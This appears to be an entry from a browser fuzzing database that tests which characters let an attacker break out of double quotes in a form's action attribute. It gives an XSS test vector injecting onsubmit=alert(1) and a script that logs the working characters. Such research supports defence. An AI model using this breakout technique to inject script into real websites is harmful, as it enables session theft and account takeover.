Characters allowed to break double quotes

1

Characters allowed to break double quotes in the action attribute

Created on: Sunday, June 30, 2024 at 12:02:09 PM

Updated on: Monday, October 21, 2024 at 8:08:11 AM

Vector type: XSS

<form id="test" action="aaa$[chr]onsubmit=alert(1)><input/type='submit'>

var form = document.getElementById("test");
if (typeof form.onsubmit === 'function') {
log(String.fromCharCode($[i]))
  }